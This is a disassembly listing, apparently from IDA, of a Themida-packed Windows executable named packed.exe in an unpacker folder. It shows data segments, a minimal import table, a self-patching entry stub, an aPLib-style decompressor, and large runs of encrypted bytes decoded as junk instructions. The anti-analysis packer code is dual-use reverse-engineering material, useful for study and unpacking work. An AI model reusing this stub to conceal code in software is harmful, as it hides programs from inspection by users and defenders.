dword_48A030	dd 1			; DATA XREF: ___:loc_40E98Cr
					; ___:0041F2D1w
dword_48A034	dd 2400B30h		; DATA XREF: ___:0040E995r
					; ___:0040E9B5r ...
		dd 0
dword_48A03C	dd 2400B58h		; DATA XREF: ___:0041F1CBw
					; sub_421DAE+9r ...
dword_48A040	dd 0			; DATA XREF: sub_422492+36r
dword_48A044	dd 0			; DATA XREF: sub_421DAE+16r
					; sub_42217C+4r ...
		dd 0
off_48A04C	dd offset aCM_unpackerPac ; DATA XREF: ___:0041F26Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_48A054	db 0			; DATA XREF: sub_419B07+2Dw
					; sub_41FAE7+5r
		align 4
dword_48A058	dd 0			; DATA XREF: sub_419B07+27w
dword_48A05C	dd 0			; DATA XREF: sub_419B07+4r
					; sub_419B07+8Bw
dword_48A060	dd 0			; DATA XREF: ___:loc_41F199r
					; ___:loc_41F1DBr ...
		align 8
dword_48A068	dd 0			; DATA XREF: sub_419CDAr sub_41F84Cr ...
dword_48A06C	dd 0			; DATA XREF: sub_41A8A2+37r
		dd 0
dword_48A074	dd 0			; DATA XREF: sub_417B89r
					; sub_41944F:loc_41956Br ...
dword_48A078	dd 0			; DATA XREF: sub_41AB54r
dword_48A07C	dd 0			; DATA XREF: sub_41BA22+4Bw
					; sub_41BB3B+2Dw ...
dword_48A080	dd 0			; DATA XREF: sub_41C96D+11r
					; sub_41CA71+1Ar ...
byte_48A084	db 0			; DATA XREF: sub_41C96D+3r
					; sub_41C96D+98r ...
		align 4
dword_48A088	dd 0			; DATA XREF: sub_41CA71+11r
					; sub_41CB4F+21w ...
byte_48A08C	db 0			; DATA XREF: sub_41CB4F+51w
		align 10h
dword_48A090	dd 0			; DATA XREF: sub_41CD45+4Er
					; sub_41D120+3Ar ...
dword_48A094	dd 0			; DATA XREF: sub_41CD45+5Cr
					; sub_41D120+43r ...
dword_48A098	dd 0			; DATA XREF: sub_417FFA+7Ar
					; sub_41CEEC+5r
dword_48A09C	dd 0			; DATA XREF: sub_41D4FC+29r
dword_48A0A0	dd 2 dup(0)		; DATA XREF: sub_418790+Co
dword_48A0A8	dd 0			; DATA XREF: sub_419063+4r
					; sub_419063+6Er ...
		dd 3 dup(0)
dword_48A0B8	dd 0			; DATA XREF: sub_4199B9+61r
					; sub_4199B9+BFr ...
		align 10h
dword_48A0C0	dd 1			; DATA XREF: sub_41E709+28r
					; sub_41E709+4Cw ...
dword_48A0C4	dd 1			; DATA XREF: sub_41E92D:loc_41EAA8r
					; sub_41EAC6+4w ...
dword_48A0C8	dd 0			; DATA XREF: ___:0041EFE5r
					; ___:0041EFF1w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_41F257o
					; ___:off_48A04Co
		align 4
		dd 3Ah dup(0)
dword_48A1D0	dd 1			; DATA XREF: ___:0041F48Fr
					; ___:0041F4B0w ...
dword_48A1D4	dd 0			; DATA XREF: sub_41F84C+21r
dword_48A1D8	dd 0			; DATA XREF: sub_41A8A2:loc_41A8CBw
					; sub_41A96C+154w ...
dword_48A1DC	dd 1			; DATA XREF: sub_41FB63+26r
					; sub_41FB63:loc_41FBCDw
dword_48A1E0	dd 0			; DATA XREF: sub_41A96C+7r
		align 8
word_48A1E8	dw 0			; DATA XREF: sub_42074B+1Ao
					; sub_42074B+46r
byte_48A1EA	db 0			; DATA XREF: sub_42074B+39r
		align 4
dword_48A1EC	dd 7 dup(0)		; DATA XREF: sub_42074B+52o
dword_48A208	dd 0			; DATA XREF: sub_42074B+40w
					; sub_42074B+5Co
dword_48A20C	dd 0			; DATA XREF: sub_42074B+4Dw
dword_48A210	dd 0			; DATA XREF: sub_42074B+31w
dword_48A214	dd 0			; DATA XREF: sub_42074B+52w
dword_48A218	dd 77C26E79h		; DATA XREF: sub_42086E:loc_420891r
					; sub_42086E+38r
		align 10h
dword_48A220	dd 0			; DATA XREF: sub_42094E+11w
					; sub_42094E+63w ...
		align 8
dword_48A228	dd 0			; DATA XREF: sub_42094E+33o
					; sub_42094E+46r
dword_48A22C	dd 10h dup(0)		; DATA XREF: sub_42094E+C1o
word_48A26C	dw 0			; DATA XREF: sub_420BAC+A8r
word_48A26E	dw 0			; DATA XREF: sub_42094E+54r
					; sub_420BAC+DBr ...
word_48A270	dw 0			; DATA XREF: sub_420BAC+CAr
word_48A272	dw 0			; DATA XREF: sub_420BAC+D3r
					; sub_420BAC:loc_420C9Er
word_48A274	dw 0			; DATA XREF: sub_420BAC+C0r
word_48A276	dw 0			; DATA XREF: sub_420BAC+B8r
word_48A278	dw 0			; DATA XREF: sub_420BAC+B0r
word_48A27A	dw 0			; DATA XREF: sub_420BAC+9Er
dword_48A27C	dd 0			; DATA XREF: sub_42094E+4Br
dword_48A280	dd 10h dup(0)		; DATA XREF: sub_42094E+FBo
word_48A2C0	dw 0			; DATA XREF: sub_420BAC+46r
word_48A2C2	dw 0			; DATA XREF: sub_42094E:loc_4209C5r
					; sub_420BAC+78r ...
word_48A2C4	dw 0			; DATA XREF: sub_420BAC+67r
word_48A2C6	dw 0			; DATA XREF: sub_420BAC+70r
					; sub_420BAC:loc_420C30r
word_48A2C8	dw 0			; DATA XREF: sub_420BAC+5Dr
word_48A2CA	dw 0			; DATA XREF: sub_420BAC+55r
word_48A2CC	dw 0			; DATA XREF: sub_420BAC+4Dr
word_48A2CE	dw 0			; DATA XREF: sub_420BAC+3Er
dword_48A2D0	dd 0			; DATA XREF: sub_42094E+80r
dword_48A2D4	dd 0			; DATA XREF: sub_42094E+132r
					; sub_42094E:loc_420A9Ar ...
dword_48A2D8	dd 0			; DATA XREF: sub_420939r sub_420939+Ew
dword_48A2DC	dd 0			; DATA XREF: sub_42105F+3r
					; sub_42105F+2Ew ...
dword_48A2E0	dd 0			; DATA XREF: sub_42105F+43w
					; sub_42105F:loc_4210AEr
dword_48A2E4	dd 0			; DATA XREF: sub_42105F+4Aw
					; sub_42105F+60r
dword_48A2E8	dd 0			; DATA XREF: sub_41FEC6+3Fr
dword_48A2EC	dd 0			; DATA XREF: sub_421C3C:loc_421CA3r
					; sub_421C3C+6Do
dword_48A2F0	dd 0			; DATA XREF: sub_421C3C:loc_421C7Ar
					; sub_421C3C+44o
dword_48A2F4	dd 0			; DATA XREF: sub_421C3C:loc_421C6Dr
					; sub_421C3C+37o
dword_48A2F8	dd 0			; DATA XREF: sub_421C3C:loc_421C87r
					; sub_421C3C+51o
		align 10h
dword_48A300	dd 0			; DATA XREF: sub_4221EA+28r
					; sub_4221EA+48w ...
dword_48A304	dd 0			; DATA XREF: sub_422C78+28r
					; sub_422C78+4Cw ...
dword_48A308	dd 0			; DATA XREF: sub_422F03+26r
					; sub_422F03:loc_422F6Dw
byte_48A30C	db 0			; DATA XREF: sub_40482Cr sub_40482C+9w
		align 10h
dword_48A310	dd 2401140h		; DATA XREF: sub_41A835:loc_41A846r
					; sub_41AADC+14r ...
		align 10h
dword_48A320	dd 400h	dup(0)		; DATA XREF: ___:off_43BCB8o
					; ___:0043BCC0o
dword_48B320	dd 200h			; DATA XREF: sub_41A835+9r
					; sub_41A835+56r ...
		dd 7 dup(0)
dword_48B340	dd 2400650h		; DATA XREF: sub_419D23+B1r
					; sub_41E248+75r ...
dword_48B344	dd 3Fh dup(0)		; DATA XREF: ___:0041F651o
dword_48B440	dd 20h			; DATA XREF: sub_41A6B7+8r
					; sub_41E321+Cr ...
dword_48B444	dd 4E4h			; DATA XREF: sub_41E92D+14r
					; sub_41E92D+65w ...
		align 10h
dword_48B450	dd 3 dup(0)		; DATA XREF: sub_41E92D+123o
					; sub_41E92D+171o ...
dword_48B45C	dd 0			; DATA XREF: sub_41E92D+108w
					; sub_41E92D+15Dw ...
byte_48B460	db 0			; DATA XREF: sub_41EB6C:loc_41EC78w
					; sub_41EB6C:loc_41EC95w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_48B560	db 0			; DATA XREF: sub_41E92D+5Co
					; sub_41E92D+AFo ...
byte_48B561	db 0			; DATA XREF: sub_4192B8+5Dr
					; sub_41E92D+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_48B664	dd 0			; DATA XREF: sub_41E92D+6Ew
					; sub_41E92D+12Bw ...
dword_48B668	dd 0			; DATA XREF: sub_41B3E6+5r
					; sub_41B3E6+32w
dword_48B66C	dd 0			; DATA XREF: sub_41ADB4+23Ar
					; sub_41ADB4+25Ar ...
dword_48B670	dd 0			; DATA XREF: sub_41ADB4+311w
					; sub_41B0DD:loc_41B12Dr ...
dword_48B674	dd 0			; DATA XREF: sub_41ADB4+22Dr
					; sub_41ADB4+260r ...
dword_48B678	dd 0			; DATA XREF: sub_41AD89r
					; sub_41ADB4+2CBr ...
dword_48B67C	dd 0			; DATA XREF: sub_41AD89+8r
					; sub_41ADB4+2D0r ...
dword_48B680	dd 0			; DATA XREF: sub_417BC7+Fr
					; sub_41944F+5Cr ...
dword_48B684	dd 2400000h		; DATA XREF: sub_417BC7+66r
					; sub_417C3B+5Ar ...
dword_48B688	dd 1			; DATA XREF: sub_417BC7r sub_417C3B+Cr ...
dword_48B68C	dd 142340h		; DATA XREF: ___:0041F13Er
					; ___:0041F269r
dword_48B690	dd 1			; DATA XREF: ___:0041F234w sub_421DAEr
dword_48B694	dd 1			; DATA XREF: sub_41ECF1r
					; sub_41ECF1+11w ...
dword_48B698	dd 2400758h		; DATA XREF: sub_418603+13r
					; sub_418603:loc_418645r ...
dword_48B69C	dd 2400758h		; DATA XREF: sub_418603+1r
					; sub_418603+Cr ...
		dd 258h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 0008D000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0008D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 48D000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 0008E000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0008E000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 48E000h
a7icwCw		db '7w\w',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 8E050h, 8E000h, 3 dup(0)
		dd 8E079h, 8E00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 0008F000)
; Virtual size			: 000FB000 (1028096.)
; Section size in file		: 000FB000 (1028096.)
; Offset to raw	data for section: 0008F000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 48F000h
		dd 0B8A330B1h, 49D50h, 52BCCh, 0C4172h,	0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 0048F265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004F9B1E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004FCFB7 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 004FD22D SIZE 00000047 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_48F086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_48F041
		popa
		jmp	short loc_48F076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF0048F0h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_48F041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_48F04E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_48F06D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_48F074


loc_48F06D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_48F04E
; ---------------------------------------------------------------------------


loc_48F074:				; CODE XREF: start+57j
		mov	edi, eax


loc_48F076:				; CODE XREF: start+1Bj
		jmp	loc_48F265
; ---------------------------------------------------------------------------
		db 3
		dd 0F26AB9C7h, 0CF030008h
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_48F086:				; CODE XREF: start+8j
		mov	eax, offset loc_4F9B1E
		mov	ecx, offset word_48F26A
		push	eax
		push	ecx
		call	sub_48F11B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_48F265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(x^',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_48F11B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_48F127:				; CODE XREF: sub_48F11B:loc_48F13Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_48F132:				; CODE XREF: sub_48F11B+7Aj
					; sub_48F11B+C3j ...
		add	dl, dl
		jnz	short loc_48F13B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F13B:				; CODE XREF: sub_48F11B+19j
		jnb	short loc_48F127
		add	dl, dl
		jnz	short loc_48F146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F146:				; CODE XREF: sub_48F11B+24j
		jnb	short loc_48F197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_48F153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F153:				; CODE XREF: sub_48F11B+31j
		jnb	loc_48F238
		add	dl, dl
		jnz	short loc_48F162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F162:				; CODE XREF: sub_48F11B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F16D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F16D:				; CODE XREF: sub_48F11B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F178:				; CODE XREF: sub_48F11B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F183:				; CODE XREF: sub_48F11B+61j
		adc	eax, eax
		jz	short loc_48F18D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_48F18D:				; CODE XREF: sub_48F11B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_48F132
; ---------------------------------------------------------------------------


loc_48F197:				; CODE XREF: sub_48F11B:loc_48F146j
		mov	eax, 1


loc_48F19C:				; CODE XREF: sub_48F11B:loc_48F1B0j
		add	dl, dl
		jnz	short loc_48F1A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F1A5:				; CODE XREF: sub_48F11B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F1B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F1B0:				; CODE XREF: sub_48F11B+8Ej
		jb	short loc_48F19C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_48F1E3
		mov	ecx, 1


loc_48F1C0:				; CODE XREF: sub_48F11B:loc_48F1D4j
		add	dl, dl
		jnz	short loc_48F1C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F1C9:				; CODE XREF: sub_48F11B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_48F1D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F1D4:				; CODE XREF: sub_48F11B+B2j
		jb	short loc_48F1C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_48F132
; ---------------------------------------------------------------------------


loc_48F1E3:				; CODE XREF: sub_48F11B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_48F1F1:				; CODE XREF: sub_48F11B:loc_48F205j
		add	dl, dl
		jnz	short loc_48F1FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F1FA:				; CODE XREF: sub_48F11B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_48F205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F205:				; CODE XREF: sub_48F11B+E3j
		jb	short loc_48F1F1
		cmp	eax, 7D00h
		jnb	short loc_48F228
		cmp	eax, 500h
		jb	short loc_48F223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_48F132
; ---------------------------------------------------------------------------


loc_48F223:				; CODE XREF: sub_48F11B+F8j
		cmp	eax, 7Fh
		ja	short loc_48F22B


loc_48F228:				; CODE XREF: sub_48F11B+F1j
		add	ecx, 2


loc_48F22B:				; CODE XREF: sub_48F11B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_48F132
; ---------------------------------------------------------------------------


loc_48F238:				; CODE XREF: sub_48F11B:loc_48F153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_48F259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_48F132
; ---------------------------------------------------------------------------


loc_48F259:				; CODE XREF: sub_48F11B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_48F11B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_48F265:				; CODE XREF: start:loc_48F076j
					; start+9Dj
		jmp	loc_4F9B1E
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_48F26A	dw 38E9h		; DATA XREF: start+77o
		dd 1573494h, 0B871C8EBh, 138EF46h, 97ABEA46h, 0BCFA04CBh
		dd 0E101A622h, 98C8FB0Eh, 0C8AF47B8h, 0FA42B824h, 0FC3A5BAFh
		dd 6552C0EBh, 73617473h, 70413872h, 783E2EBDh, 35A32C57h
		dd 0D4850370h, 4203AA38h, 0B81188BAh, 36F2BB47h, 0F2FF102Eh
		dd 0EF112E92h, 11EE3321h, 0AD01FCEAh, 0EDA7D788h, 54787F1Ch
		dd 6D650768h, 0A616469h, 0C45F7701h, 0D7215C21h, 23789C7Fh
		dd 8B397C75h, 60D40EC5h, 5D0011E8h, 34A3ED81h, 890C062Ch
		dd 0D0F4595h, 138D22B5h, 23698510h, 0EDBD830Fh,	740E7050h
		dd 44E88B0Ch, 41E9B8E2h, 70E3C23Dh, 3E8E2444h, 0C124D20h
		dd 0A3E8456Ah, 9A0F6829h, 4A078374h
; ---------------------------------------------------------------------------


loc_48F32C:				; CODE XREF: Themida_:0048F3AAj
		fisttp	word ptr [edx]
		add	esp, ds:0D20A894Bh
		aad	21h
		jmp	near ptr 0EC92F54Fh
; ---------------------------------------------------------------------------
		db 0FAh
		db 1
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pop	eax
		out	dx, al
		pop	edx
		or	[ecx+13591EAh],	al
		mov	ebx, edx
		mov	dword ptr [ebp-28h], 0E630823h
		inc	eax
		mov	[edi], ebx
		or	[ecx+1D80987Dh], al
		jz	short loc_48F36F
		iret
; ---------------------------------------------------------------------------
		db 20h,	8, 0E4h
		dd 1093FB83h, 43120CFFh
		db 0EBh, 0E1h, 36h
; ---------------------------------------------------------------------------


loc_48F36F:				; CODE XREF: Themida_:0048F35Ej
		fsubr	qword ptr [esi+61h]
		db	26h
		or	cl, 0C2h
		add	al, 80h
		inc	esi
		add	esp, 2D1FF7Ch
		dec	ecx
		enter	0FFFF80DAh, 8Dh
		inc	ebp
		or	byte ptr [ebx-38D7F7A3h], 85h
		sbb	[ecx+0A408D50h], ecx
		rol	ebx, 1
		mov	ds:0B894118h, dl
		adc	al, 81h
		mov	ebp, 755D4006h
		push	edx
		jecxz	short loc_48F3CB
		test	[ebp-7F9BE246h], ecx
		jnz	short loc_48F32C
		mov	cl, [esi]
		mov	ebx, 15B92F4h
		mov	eax, 785437ABh
		rcl	eax, cl
		stc
		ja	near ptr 0F7BE3EC9h
		pusha
		scasd
		retn
; ---------------------------------------------------------------------------
		dd 4AA44647h
		db 8Ch,	46h, 54h
; ---------------------------------------------------------------------------


loc_48F3CB:				; CODE XREF: Themida_:0048F3A2j
		stc
		inc	edx
		rcl	dword ptr [edi+61h], 1
		mov	al, [eax-30h]	; CODE XREF: Themida_:0048F3D3j
		lock jmp short near ptr	loc_48F3D0+1
; ---------------------------------------------------------------------------
		dw 0EE14h
		dd 144DFC45h, 79AD04EBh, 3E804618h, 0A6BAF740h,	0C334DC84h
		dd 7FEB0C7Dh, 99F83E21h, 9F0126Dh, 10F40E95h, 65C14A02h
		dd 0D68004F0h, 3E0D1F8h, 28C0C272h, 1C8ADB33h, 0FB803930h
		dd 0A0A7298h, 57A7739h,	22E4EB7Dh, 0EC6114CFh, 0FE660A0Dh
		dd 0BE1EDE08h, 580AC39Dh, 72411A10h, 460A0B61h,	24BD0677h
		dd 5D300144h, 83F4ECF0h, 3602E67Dh, 0C00CB072h,	0CCA5766Eh
		dd 83F826AAh, 0D48D0E9Ch, 553B01A8h, 78820FFCh,	83B0BD53h
		dd 0A1387CAAh, 0B9C108BAh, 0FC5070C1h, 803720BDh, 47030FFEh
		dd 0B9FA7549h, 0B86A8B22h, 72F101BBh, 0EB823B09h, 8E00026Fh
		dd 2D392286h, 6551071Ch, 0EEA2361Fh, 8926778Ah,	5923F2E9h
		dd 0CB56FB6Bh, 21130E04h, 8A40C45Eh, 8205256Dh,	1E084566h
		dd 56460021h, 630BCC4h,	9607362Ah, 6655B2EFh, 0D0FBA1A3h
		dd 3CE48161h, 0B3866723h, 3D07E9AFh, 0DD652D07h, 0FD80A9D6h
		dd 19C32C5Ch, 9CDB8C67h, 0F6FE9EF1h, 1F34CB0Eh,	4E398240h
		dd 30F765Bh, 3D51B810h,	3BE3D104h, 540E46B3h, 0AC2E0975h
		dd 5480E11h, 9065E4ECh,	84720006h, 968E05C5h, 538F3554h
		dd 0C2040A8Fh, 718C8A29h, 0EE71B83h, 0FF61A276h, 477812Bh
		dd 341D2280h, 33F984C1h, 0BC207532h, 0AEE0E3Fh,	230EFCCh
		dd 0EC7141E6h, 0CC7F8C33h, 1940F2FFh, 4AE9FD45h, 0C4620060h
		dd 254D8C52h, 0AA821011h, 5AAB99B1h, 141384A1h,	5EC1F556h
		dd 5540EE82h, 0FE160481h, 0AA8A0F38h, 232013B9h, 94439752h
		dd 0E522317h, 8A44C45Ah, 2019624Dh, 0EBC45242h,	9365FB00h
		dd 0DA8D6747h, 0C60EE610h, 0B09EA23h, 92C78600h, 1F5AAB29h
		dd 0E281019Fh, 0CA0BF605h, 8027FD10h, 0FEE48229h, 7C562A4Eh
		dd 0AA233C8h, 212802C8h, 0B87BD761h, 476E7D24h,	8CC1873Bh
		dd 0EA1262D4h, 213C2A3Dh, 91C53D20h, 5C8754E4h,	5D8A22C4h
		dd 44101831h, 101DC454h, 0EA8C6EA2h, 64190Dh, 990F96D6h
		dd 97B2418Eh, 82A3B801h, 1772868Ah, 0D1A874A1h,	3FE4181Ah
		dd 7106F5E8h, 1D0CEAB7h, 0AB89E503h, 0B07E0B3Ah, 0CB32EBAh
		dd 63CC81A9h, 8403E74h,	331160E9h, 95DDD679h, 53801A04h
		dd 48809C39h, 373D75Bh,	0C98C7A5Dh, 0B1E7B55Ch,	767F3C4h
		dd 0D32CAE80h, 358C18FAh, 0F7822614h, 19ACB807h, 68CA106Fh
		dd 0C3C0123Bh, 5AA88000h, 638B5F67h, 0BE742EC2h, 0BAD070FBh
		dd 8A6CDC71h, 5C1304Ch,	84A4DA81h, 0E28100EBh, 202FD3F4h
		dd 0B538FBECh, 990709Ah, 606112F3h, 0A1FDF323h,	97103CF0h
		dd 5BB0D5C6h, 0E5619600h, 7188B373h, 0BA9F019Dh, 284A1C98h
		dd 63A14C75h, 8FFE5300h, 7942E8E7h, 37EE0B7Ch, 4D2089EAh
		dd 99A4066Ah, 3D500900h, 0D11A7051h, 53B40056h,	10E7A745h
		dd 6F0FB989h, 0BDBDAEA4h, 1B3CAD1Dh, 0E308978Bh, 6C16A9CBh
		dd 0A678C4h, 0CF9E0566h, 9B063B2Dh, 9DACD000h, 57B327BEh
		dd 17AA0092h, 0B2D131F2h, 31DCEBFh, 3C3C7E49h, 0BC696030h
		dd 3978802h, 3BCB7841h,	48007482h, 4AF8F49Eh, 313F9546h
		dd 0F7505267h, 8039BFC0h, 4E872B65h, 1817E262h,	68AC4D3Ah
		dd 0C0C0AA56h, 76F0BE6Fh, 97D063Ch, 19DD1071h, 0A42AD11Ah
		dd 996349h, 845234F1h, 22C37D42h, 0BED06D00h, 0DFC4D3ACh
		dd 352A1817h, 186C60A9h, 955A4A00h, 93A7EB5Fh, 0C30C03AAh
		dd 0A68737F5h, 0F9A11000h, 0ED9BC88Bh, 79A76056h, 0E006599Fh
		dd 26F33C00h, 2795C86Ah, 9681C178h, 8045835Fh, 0C7FD29E8h
		dd 50B2DBABh, 0E835886Bh, 0AD5580E8h, 0BF6E51C0h, 0E83E4DCBh
		dd 0FD57636h, 2DFAE42Fh, 73F556A7h, 9006AB7Fh, 0CBDDCAB7h
		dd 97AF28C0h, 0DC792098h, 0EF94601h, 0A4FBEAA7h, 0C50AC440h
		dd 44E00D1h, 2BC78D29h,	8C600E23h, 0BD383488h, 3DCA1A97h
		dd 8140B1h, 9A6E23h, 0C4BCEFA8h, 90B18BA1h, 3E435D1Ch
		dd 8403B074h, 91F91F7Ch, 0F16EF0FFh, 98CB0116h,	0A103CF3Dh
		dd 0F79C4189h, 30D050A2h, 0BE013ACEh, 0A50E4217h, 0CDF0B35Ch
		dd 5FF11BD3h, 0D2F8E1FFh, 1280C701h, 83C0A49Dh,	0C0E2DCh
		dd 0E2B2C14h, 8622A9CFh, 0FF093F4h, 0F21D2E04h,	88D6DBE4h
		dd 98541240h, 59203A24h, 0A85630AEh, 620C15E1h,	3E0DCD00h
		dd 80F4DDEDh, 0E8A407h,	61D677C3h, 4E9528EBh, 39517F30h
		dd 69668A4h, 0A10ED380h, 3F831ECh, 4DF18C3h, 1080E8C4h
		dd 7F073772h, 81A8021h,	0BA0771C7h, 0DA61FE3Bh,	11F35E60h
		dd 1F9E0327h, 6E5218D2h, 0F49D3002h, 82A3032Fh,	0A1ADF790h
		dd 4A2267A8h, 1E2151D4h, 0FA66C9Eh, 5BC35912h, 14D0F1BFh
		dd 0D09113D2h, 78192602h, 0C32F03ABh, 0A8019DF2h, 0B986BAF2h
		dd 31BBF604h, 3FB80F00h, 7EFF209Ah, 0F2FA01A1h,	16F70CE1h
		dd 7FC3FC98h, 84AF232Ah, 0ABB48700h, 0EF9DB6C8h, 250A0096h
		dd 425E93E1h, 0C95C0378h, 0B91C182Eh, 203B2B80h, 970C8A4Ah
